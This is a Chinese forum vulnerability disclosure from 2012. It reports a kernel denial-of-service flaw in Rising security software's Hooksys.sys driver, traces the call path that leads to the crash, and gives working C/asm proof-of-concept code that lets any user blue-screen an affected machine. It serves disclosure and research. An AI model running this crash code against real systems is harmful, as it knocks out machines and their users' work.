-
-
[原创]瑞星全功能安全软件2011内核拒绝服务漏洞
-
发表于:
2012-5-27 08:23
11122
-
[原创]瑞星全功能安全软件2011内核拒绝服务漏洞
瑞星全功能安全软件2011是一款集“智能云安全”,智能安全防护,智能杀毒为一体的专业安全软件.
最新版本23.00.63.28(2012-5-27)存在内核拒绝服务漏洞,可导致任意权限用户在安装了瑞星的系统上引发蓝屏.
存在问题的组件:Hooksys.sys
版本:25.0.0.57,CheckSum = 0002ED85, TimeStamp = 4EDDA48B
数字签名仍为2011.12.6
瑞星在NtCreateKey HOOK函数中对ObjectAttributes结构体的参数校验不严格,就将参数传递给内核函数ZwOpenKey,结果引发蓝屏.在未安装瑞星的系统下没有影响.
调用过程:
ZwCreateKey -> hk_ZwCreateKey -> (检查了ObjectAttributes->ObjectName) -> ZwOpenKey -> 上个模式改为KernelMode,系统不检查参数有效性 ->ObOpenObjectByName -> ObpCaptureObjectCreateInformation -> 系统函数判断SecurityDescriptor域存在,且上个模式为内核模式,因此不做参数检查,直接将参数 ->SeCaptureSecurityDescriptor -> SeCaptureSecurityDescriptor访问错误的SecurityDescriptor地址,系统崩溃蓝屏
偏移Hooksys+e27a
测试代码:
WCHAR fuzz[] = L"xxxx_fuzz_rising";
HMODULE hlib = LoadLibrary(L"ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwCreateKey");
OBJECT_ATTRIBUTES oba ;
UNICODE_STRING strname ;
strname.Buffer = fuzz;
strname.Length = wcslen(strname.Buffer) * sizeof(WCHAR) ;
InitializeObjectAttributes(&oba , &strname ,0 , 0,(PVOID)0x80000000);
__asm{
push 0
push 0
push 0
push 0
lea eax,oba
push eax
push 0
push 0
call p
}
return 0;
poc.rar
Mini052712-01.rar
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)